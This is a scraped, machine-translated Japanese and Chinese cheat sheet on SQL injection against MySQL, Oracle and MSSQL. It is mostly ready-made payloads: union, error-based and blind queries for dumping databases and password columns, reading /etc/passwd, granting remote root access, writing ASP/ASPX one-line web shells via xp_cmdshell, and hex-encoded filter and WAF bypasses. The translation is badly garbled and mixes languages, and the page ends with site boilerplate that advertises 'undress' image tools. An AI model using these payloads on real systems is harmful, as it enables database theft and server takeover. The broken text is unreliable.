SQLインジェクションにはどのような種類がありますか?
序文
SQL インジェクション攻撃手法は、データベースから返されたコンテンツを処理するアプリケーションに応じて、明示的インジェクション、エラー インジェクション、ブラインド インジェクションに分類できます。
明示的なインジェクション
攻撃者は、現在のインターフェイス コンテンツ内の目的のコンテンツを直接取得できます。
エラー挿入
データベース クエリの戻り結果はページに表示されませんが、アプリケーションはデータベース エラー情報をページに出力するため、攻撃者はデータベースエラー エラーメッセージから必要な内容を取得するためのステートメント。
ブラインド インジェクション
直感的なページからはデータベース クエリの結果を取得できません。攻撃者は、データベース ロジックを使用するか、データベース ライブラリの実行を遅延させることで、必要なものを取得します。 。 コンテンツ。
#Mysql 手動インジェクション
liang インジェクション?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+
ログイン後にコピー
?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+ group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+
エラー レポート インジェクション
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));
select \* from test where id=1 and exp(\~(select \* from(select user())a)); 爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- + 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) 盲注
タイムブラインドインジェクション
一般的に使用される関数 sleep()分割関数substr , substring, left分割関数 ascii() hex() をエンコードした後は引用符は必要ありません。一般に、ブラインド インジェクションの場合は、条件付き判断も使用する必要があります。 functionif (expre1 , expre2, expre3) expre1 が true の場合は expre2 を返し、false の場合は expre3 を返します?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
ブール ブラインド インジェクション
?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + //如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- + //若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1 insert,delete,update
2 番目のインジェクションとワイド バイト インジェクション
セカンダリ インジェクション:
一重引用符のない SQL ステートメントでは、一重引用符が存在しないように 16 進エンコードを実行します。ワイド バイトインジェクション:
一重引用符エスケープは ' です。mysql は \ を \ としてエンコードします。ワイド バイトの 2 バイトは漢字を表すため、\ に � を追加すると、漢字の「運」に変わります。これによりエスケープをバイパスします
Oracle 手動インジェクション
リアン インジェクション
?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)-- ?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
ブール ブラインド インジェクション
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)-- ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)-- ?id=1' and ascii(substr(user,1,1))> 64--
タイム ブラインド インジェクション
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)-- ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--
SQL 手動インジェクションインジェクション ポイントが存在するかどうかを確認する
数値型
url を挿入した後、and 1=1and 1=2## と入力します。 #戻り値が異なる場合は、注入ポイントが存在すると判断できます
例:
http://www.xxx.cn/news.php?p=1&id=4' 戻り値エラー
http://www.xxx.cn /news.php?p=1&id=4および1=1は正しい
http://www.xxx.cn/newsを返します。 php?p=1&id=4 および 1=2 はエラーを返します
文字タイプをに挿入し、
' と 1=1 を入力します。 '1'='1
' および 1=2 および '1'='1
http://www.xxx.cn/news.php?p=1&id=4'エラーを返します
http://www.xxx.cn /news.php?p=1&id=4' および 1=1 および '1'='1 は正しい
http:/ を返します/www.xxx.cn/news.php?p=1&id=4' および 1=2 および '1'='1 はエラーを返します
#検索インジェクション
#入力ボックスに ' と入力するとエラーが返されます
x%' と 1=1 および '%'=' は正しい
x%' と 1= を返します2 と '%'=' はエラーを返します
フィールドの数を判断するdigit
http://www.xxx.cn/news.php?p=1&id=4 order by 26 は正しい結果を返します
http://www.xxx.cn/news .php?p=1&id=4 order by 27 Return error
結論: フィールドの数は 26 です。
文字タイプ
http://www.xxx.cn/news.php?p=1&id=4' 26 順 # 正しい値を返します
http:// www.xxx.cn/news.php?p=1&id=4' order by 27 # Return error
結論: フィールド番号 26。
検索タイプ
xx%' order by 26 # 正しい
xx%' order by 27 # エラーを返す
結論: フィールドの数 26 。
表示可能なフィールドの検索数値タイプ
http://www.xxx.cn/news.php?p=1&id=4 および 1=2 結合選択 1、2、3 ,4,5,6,7,8,9,....
文字タイプ
http://www.xxx.cn/news.php?p=1&id= 4 ' および 1=2 結合選択 1,2,3,4,5,6,7,8,9,....
#検索タイプ
#x%' および 1 = 2 Union select 1,2,3,4,5,6,7,8,9,....
#データベース名の確認
数値型 http://www.xxx.cn/news.php?p=1&id=4 および 1=2 Union select 1,2,database(),4,5,6,7,8,9,.. 。 .
文字タイプ
http://www.xxx.cn/news.php?p=1&id=4' と 1=2 Union select 1,2,database(), 4 ,5,6,7,8,9,....
#検索タイプ
x%' および 1=2 Union select 1,2,database(),4, 5 ,6,7,8,9,....
#データベース内のテーブル名を確認してください
数値型http://www。 xxx .cn/news.php?p=1&id=4 および 1=2 結合選択 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14, 15 ,16,17 from information_schema.tables where table_schema='データベース名'
データベース名には 16 進数も使用できます
文字タイプ
http://www.xxx.cn/news.php?p=1&id=4' および 1=2 共用体選択1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='データベース名'
#データベース名には 16 進数も使用できます
検索タイプ
#XX%' および 1=2 Union select 1,2,group_concat(table_name),4,5 ,6,7 ,8,9,.... from information_schema.tables where table_schema='データベース名' #データベース名は 16 進数でも可能です
テーブルの列名を検索します
テーブル内のデータを検索します
##x%' および 1=2 Union select 1,2,group_concat(username,password),4,5,6, 7,8,9,。 ...テーブル名から
#表示バージョン: select version();
表示文字セット: select @@character_set_database;
表示データベース show names;
テーブル名の表示: show tables;
コンピュータ名の表示: @@hostname を選択;
システム バージョンの表示: @@version_compile_os を選択;
mysql パスの表示: select @@basedir;
データベース パスの表示: select @@datadir;
root パスワードの表示: mysql.user から User,Password を選択;
外部接続を開く: GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
MySQL 関数の使用法
MySQL には、ユーザーがファイルをすばやく読み取るのに役立つload_file() 関数が用意されています。ただし、ファイルの場所はサーバー上にある必要があり、ファイル パスは絶対パスである必要があり、root 権限が必要です。
SQL ステートメントは次のとおりです: Union select 1,load_file('/etc/passwd') ,3 ,4,5
#通常、一部のアンチインジェクションステートメントでは一重引用符の使用が許可されないため、次のステートメントを使用して回避できます:
union select 1,load_file( 0x272F6574632F70617373776427),3,4 ,5
# パスを 16 進数に変換します。
MSSQL 手動インジェクション
SQL インジェクションとは異なり、SQL は爆発表示フィールドを使用しますが、MSSQL はエラー レポート インジェクションを使用し、悪意のある SQL ステートメントを挿入し、クエリにエラーを報告させます。エラーが発生した場合は、必要な情報が表示されます。
挿入ポイント:
www.xxx.cn/xxx/xxx.aspx?id=1
クエリ データベース バージョン
@@ version: MSSQL グローバル変数。データベースのバージョン情報を示します。
テスト ステートメント:
http://www.xxx.cn/xxx/xxx.aspx?id=1 および @@version>0
注: "および@@vsersion>0" は、"and 0/@@version>0" と書くこともできます。
エラー メッセージ:
nvarchar 値を 'Microsoft SQL Server 2008 R2 (SP3) に変更するとき) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 理由: @@version は MSSQL のグローバル変数です。「?id=1」の後に「and @@version>0」を追加すると、「and」はステートメントになります。 「@@version」を強制的に int 型に変換して 0 と比較しますが、型変換が失敗するため、データベース情報が公開されます。 クエリ コンピュータ名 エラー メッセージ: nvarchar 値 'WINDOWS-XXXXXX' をデータ型 int に変換できませんでした。 現在のデータベース名のクエリ エラー メッセージ: nvarchar 値 'abc' をデータ型 int に変換できませんでした。 現在データベースに接続しているユーザーをクエリします エラー メッセージ: nvarchar 値 'dbo' をデータ型 int に変換できませんでした。 注: dbo が表示される場合は、現在のデータベースのほとんどのユーザーが dba 権限を持っていることを意味します。 他のデータベース名をクエリする http://www.xxx.cn/xxx/xxx.aspx?id=1 および ( SELECT トップ 1 名前 FROM Master..SysDatabases)>0 エラー メッセージ: nvarchar 値 'master' をデータ型 int に変換中に失敗しました。 他のデータベースは次のように記述します: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master.. SysDatabases where name not in ('master'))>0 続行するには、次のように記述します: http://www.xxx.cn/xxx/xxx.aspx?id= 1 および(SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0 テーブル名を検索します: http://www.xxx.cn/xxx/xxx.aspx?id=1 および (abc.sys.all_objects から上位 1 の名前を選択します。ここで type= 'U' AND is_ms_shipped=0)>0 エラー メッセージ: nvarchar 値 'Depart' をデータ型 int に変換できませんでした。 他のテーブルを探索します: http://www.xxx.cn/xxx/xxx.aspx?id=1 および (abc.sys.all_objects から上位 1 の名前を選択します。ここで type = 'U' AND is_ms_shipped=0 および名前が含まれていません ('Depart'))>0 Continue: http://www.xxx.cn/xxx/xxx.aspx? id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('Depart','worker'))>0 フィールド名を確認してください: http://www.xxx.cn/xxx/xxx.aspx?id=1 および ( 上位 1 つを選択してください) COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='Depart')>0 エラー メッセージ: nvarchar 値 'ID' をデータ型 int に変換できませんでした。 他のフィールドを調べます: http://www.xxx.cn/xxx/xxx.aspx?id=1 および (abc から上位 1 つの COLUMN_NAME を選択してください。 information_schema.columns where TABLE_NAME='delivery' and COLUMN_NAME not in ('ID'))>0 Continue: http://www.xxx.cn/xxx/xxx。 aspx?id=1 および (TABLE_NAME='payment' および COLUMN_NAME が ('ID','NAME') にない abc.information_schema.columns から上位 1 つの COLUMN_NAME を選択してください)>0 クエリ データ: http://www.xxx.cn/xxx/xxx.aspx?id=1 および (出発から上位 1 のパスワードを選択)>0 エラー メッセージ: nvarchar 値 'B5A1EF8730200F93E50F4F5DEBBCAC0B' をデータ型 int に変換できませんでした。 データ権限が dba で、Web サイトの絶対パスがわかっている場合、このステートメントを使用して一文のトロイの木馬を作成できます。 : asp トロイの木馬: http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE= VBSCRIPT %> ;;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'-- aspx トロイの木馬: http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb "), "unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' -- 原則として、SQL サーバーはスタック クエリをサポートしており、xp_cmdshell を使用してcmd 命令を実行します。これは cmd 命令 [echo content>File] で使用され、ファイルをディスクに書き込むことができます。 http://www.xxx.com/xxx/xxx.aspx?username=xxx Firefox ブラウザのハックバー ツールのエンコーディングで「HEX エンコーディング」を使用します。簡単にエンコードします。文字列を悪用可能な 16 進数に変換し、エラー挿入を使用して Web サイトに挿入します。 select Convert(int,@@version) 16 進エンコード後: 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 次に、次のメソッドを使用して、挿入: http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)– エラー メッセージ: nvarchar 値は 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 2010 年 4 月 2 日 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-) bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)' データ型 int への変換に失敗しました。 次の注入ステートメントに注意してください: dEcLaRe @s vArChAr(8000) //ローカル変数 @s を宣言し、varchar(8000) sEt @s と入力します。 = 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //「select Convert(int,@@version)」の 16 進エンコーディングである @s に値を代入します eXeC(@s) //関数 exec() を呼び出して「@s」を実行します" コンテンツ。 selectconvert(int,db_name()) selectconvert( int, User_Name()) select Convert(int,(abc[データベース名].sys.all_objects where type='U' AND is_ms_shipped から上位 1 つの名前を選択= 0)) select Convert(int,(abc[データベース名].sys.all_objects から上位 1 の名前を選択します。ここで、type='U' AND is_ms_shipped=0 および名前は ('CMS_ArticleClass') にありません)) select Convert(int,(abc[データベース名].information_schema.columns where TABLE_NAME='CMS_Userinfo[テーブル名]') から上位 1 つの COLUMN_NAME を選択します) select Convert(int,(abc[データベース名] から上位 1 つの COLUMN_NAME を選択します) ] ].information_schema.columns where TABLE_NAME='CMS_Userinfo[テーブル名]' および COLUMN_NAME が ('id')) にありません)) select Convert(int,( CMS_Admin から上位 1 のユーザー名を選択)) select Convert(int,(CMS_Admin から上位 1 のパスワードを選択)) 1.id-1 (ページの場合)正しいページが返されます。これはインジェクションがあることを意味します。1 は大丈夫ですか? (www.test.com/xsn.php?id=12 1) は、プラス記号が URL 内のスペースを意味するため、機能しません。 2. mysql にはアノテーションがいくつあるかご存知ですか? 3 種類: ①.# このコメントは行末まで続きます; ②./複数行コメント/; ③.– このコメントは行末まで続きます。 3 番目の方法については、これまでこの書き方に慣れていなかったので説明が必要です。 「-」はコメント文字としての印象がまだ残っていますが、「-」は頭が痛くなります。実際には - ですが、- の後にスペースがあることに注意してください。 URL にスペースを直接入力すると、ブラウザは自動的にそれを無視し、データベースに渡すことができません。そこで、特にプラス記号に置き換えました。 3. 「select select * from admin」は実行できますか?そうでない場合は説明してください。 実行できません。選択二重レイヤーを使用する場合、2番目のレイヤーを囲わないと無効になります。 スペースがフィルターで除外された場合、それを回避する方法を知っていますか?または、どの文字がスペースの代わりに使用できるか知っていますか?これらの文字は空白文字と呼ばれます。国連など
ion は共用体として扱われます。スペースがフィルタリングされている場合、可能な SQL ステートメントは次のようになります: uid=45or1=1 のメッセージから選択します。スペースを置き換えるには // を使用できます: http://www.xxx.com/index.php?id= 45 //または/**/1=1 さらに:
/|–|/ /@–|/ /?–|/ /| – |/ はスペースを置き換えることができます。 5.Windows での Oracle データベースの権限は何ですか? Windows 上の Oracle データベースはシステム権限で実行する必要があります。 6.SQL インジェクションとブラインド SQL インジェクションの違いは何ですか? 通常の SQL インジェクションでは、アプリケーションはデータベース内のデータを返し、それをユーザーに提示しますが、ブラインド SQL インジェクションの脆弱性では、true と false の条件に対応する 2 つの異なる値しか取得できません。これに応じて、アプリケーションは true 条件と false 条件に対して異なる値を返しますが、攻撃者はクエリ結果を取得できません。 7. SQL インジェクションの脆弱性の主な原因は何ですか? ユーザーが提供したデータを適切にレビューせず、出力をエンコードしない Web アプリケーションが問題の主な原因です。 8.スタッククエリとは何ですか? 単一のデータベース接続では、複数のクエリ シーケンスが実行されます。スタックされたクエリが許可されるかどうかは、SQL インジェクションの脆弱性が悪用されるかどうかに影響を与える重要な要素の 1 つです。 MYSQL では、SELECT * FROM メンバー; DROP メンバー; を実行できますデータベースはスタック クエリを確実にサポートしていますが、スタック クエリの SQL ステートメントを PHP に実行させることはできない可能性があります。 /*! ...*/ これはどういう意味ですか? MYSQL データベースに特有のことですが、コメントの先頭に感嘆符を追加し、その後にデータベースのバージョン番号を追加すると、データベースのバージョンがそれ以降である限り、コメントはコードに解析されます。コメントに含まれるバージョン コードが実行されます。 select 1 /!40119 1/ クエリ結果: Return 2 (MySQL バージョンは 4.01.19 以降) Return 1 (その他の状況) 10. インジェクション ステートメントの '=' がフィルタリングされている場合はどうなりますか? like キーワードを使用して置換することを検討できます: Union select password from users where username like admin; 11. スペースがフィルタリングされた場合はどうなりますか? '/**/'置換: union//select//password//from//users//where//username//like//admin; キーワードがフィルタリングされている場合、MySQL では、キーワード内でインライン コメントを使用して次を回避することもできることに注意してください: uni/ /on// sel//ect//password//fr//om//users//wh//ere//username//like//admin; 12. SQL インジェクションの ' ' ですか? MSSQL: MSSQL では、" " 演算子は文字列の連結および加算操作、'1' '1'='11'、1 1=2 に使用されます; MySQL: MySQL では, " " 演算子は加算演算にのみ使用されます, '1' '1'='2', 1 1=2; Oracle: Oracle では、" " 演算子は加算演算にのみ使用されます。 「1」「1」=「2」、1 1=2。 13. データベース内の文字列のコネクタは何ですか? MSSQL: 'a' 'b'='ab' MYSQL: 'a' 'b'='ab' Oracle: 'a'||' b'='ab' 14. コメント記号 MSSQL: '-- ' (後のスペースに注意)、'/.../' MySQL: '-- ','# ','/.../'。-- の後には 1 つ以上のスペースが必要であることに注意してください。 Oracle: '-- ','/.../' 3 つのデータベースで共通のコメント文字は '-- ' union/**/select union/aaaa bbs/select union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select インライン コメント: /!xxxx / の使用を検討できます。 MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/ 正则的空白符:%09,%0A,%0B,%0D,%20 Example-1:union%250Cselect Example-1:union%25A0select concat%2520( concat/**/( concat%250c( concat%25a0( select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0 Error-based SQL注入函数非常容易被忽略 MySQL特殊语法 select{x table_name}from{x information_schema.tables}; 以注释绕过为例子,开始Fuzz 注释符绕过: *先测试最基本的: union/**/select *再测试中间引入特殊字:union/aaaa%01bbs/select *最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select 最基本的模式: union/something/select 大小写绕过 即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。 例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。 如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。 例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。 可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。 http://tool.chinaz.com/Tools/urlencode.aspx 1 在Mysql中内容注释中的内容可以被当做SQL语句执行。 Mysql一些特性: 1、Mysql中的大小写不敏感,大写和小写一样。 2、Mysql中的十六进制与URL编码。 3、符号和关键字替换 and --> &&、or --> || 4、内联注释与多行注释 /!内联注释/ /多行注释/。 5、Mysql中会自动识别URL与Hex编码好的内容。 绕过策略: 1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。 2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr 3、利用符号替代 and–>&&、or–>|| 编码:hex,urlencode 空格URL编码: %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) Sqlmap安全检测: sqlmap -u “URL” --hex --dbs --batch 编码%0a、加入/**/符,union/select大小写、双写等绕过。
@@servername: コンピュータ名を表す MSSQL グローバル変数。
db_name(): 現在使用されているデータベース名。
User_Name(): 現在データベースに接続しているユーザー。
他のデータベースを展開する:
データベース内のテーブル名をクエリします
クエリ テーブルの列名またはフィールド名
爆発的なデータ
一文のトロイの木馬の作成
WAF をバイパスするには 16 進エンコーディングを使用します
爆発的なデータベース バージョン
現在のデータベースを展開します
現在のユーザーを展開します
精品
爆発フィールド
爆発的なデータ
SQL インジェクション Q&A ヒント
WAF bypass
ルール レベルのバイパス
SQL コメント文字バイパス
空白のバイパス:
函数分隔符号:
浮点数词法分析:
利用error_based进行SQL注入:extractvalue(1,concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3)),1);
GeometryCollection((select * from (select * from
(select@@version)f)x))
polygon((select*from (select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
每一个点都能找到绕过的方法
常规绕过手段
双写绕过
编码绕过
内联注释绕过
绕过过滤and和or的SQL注入
绕过去除空格的SQL注入
绕过去除(union和select)的SQL注入
以上がSQLインジェクションにはどのような種類がありますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









HQL と SQL は Hibernate フレームワークで比較されます。HQL (1. オブジェクト指向構文、2. データベースに依存しないクエリ、3. タイプ セーフティ)、SQL はデータベースを直接操作します (1. データベースに依存しない標準、2. 複雑な実行可能ファイル)。クエリとデータ操作)。

「OracleSQLでの除算演算の使用方法」 OracleSQLでは、除算演算は一般的な数学演算の1つです。データのクエリと処理中に、除算演算はフィールド間の比率を計算したり、特定の値間の論理関係を導出したりするのに役立ちます。この記事では、OracleSQL での除算演算の使用法を紹介し、具体的なコード例を示します。 1. OracleSQL における除算演算の 2 つの方法 OracleSQL では、除算演算を 2 つの異なる方法で実行できます。

Oracle と DB2 は一般的に使用される 2 つのリレーショナル データベース管理システムであり、それぞれに独自の SQL 構文と特性があります。この記事では、Oracle と DB2 の SQL 構文を比較し、相違点を示し、具体的なコード例を示します。データベース接続 Oracle では、次のステートメントを使用してデータベースに接続します: CONNECTusername/password@database DB2 では、データベースに接続するステートメントは次のとおりです: CONNECTTOdataba

MyBatis 動的 SQL タグの解釈: Set タグの使用法の詳細な説明 MyBatis は、豊富な動的 SQL タグを提供し、データベース操作ステートメントを柔軟に構築できる優れた永続層フレームワークです。このうち、Set タグは、UPDATE ステートメントで SET 句を生成するために使用され、更新操作でよく使用されます。この記事では、MyBatis での Set タグの使用法を詳細に説明し、特定のコード例を通じてその機能を示します。 SetタグとはMyBatiで使用するSetタグです。

SQL における Identity とは何ですか? 具体的なコード例が必要です。SQL では、Identity は自動インクリメント数値の生成に使用される特別なデータ型です。多くの場合、テーブル内のデータの各行を一意に識別するために使用されます。 Identity 列は、各レコードが一意の識別子を持つようにするために、主キー列と組み合わせてよく使用されます。この記事では、Identity の使用方法といくつかの実用的なコード例について詳しく説明します。 Identity の基本的な使用方法は、テーブルを作成するときに Identity を使用することです。

Springboot+Mybatis-plus が SQL ステートメントを使用して複数テーブルの追加操作を実行しない場合、私が遭遇した問題は、テスト環境で思考をシミュレートすることによって分解されます: パラメーターを含む BrandDTO オブジェクトを作成し、パラメーターをバックグラウンドに渡すことをシミュレートします。 Mybatis-plus で複数テーブルの操作を実行するのは非常に難しいことを理解してください。Mybatis-plus-join などのツールを使用しない場合は、対応する Mapper.xml ファイルを設定し、臭くて長い ResultMap を設定するだけです。対応する SQL ステートメントを記述します。この方法は面倒に見えますが、柔軟性が高く、次のことが可能です。

解決策: 1. ログインしているユーザーがデータベースにアクセスまたは操作するための十分な権限を持っているかどうかを確認し、ユーザーが正しい権限を持っているかどうかを確認します; 2. SQL Server サービスのアカウントに指定されたファイルまたはデータベースにアクセスする権限があるかどうかを確認します。 3. 指定されたデータベース ファイルが他のプロセスによって開かれているかロックされているかどうかを確認し、ファイルを閉じるか解放して、クエリを再実行します。管理者として試してください。Management Studio をなどとして実行します。

MySQL でデータの集計と統計に SQL ステートメントを使用するにはどうすればよいですか?データの集計と統計は、データ分析と統計を実行する際の非常に重要な手順です。 MySQL は強力なリレーショナル データベース管理システムとして、データの集約と統計操作を簡単に実行できる豊富な集約機能と統計機能を提供します。この記事では、SQL ステートメントを使用して MySQL でデータの集計と統計を実行する方法を紹介し、具体的なコード例を示します。 1. カウントには COUNT 関数を使用します。COUNT 関数は最も一般的に使用されます。
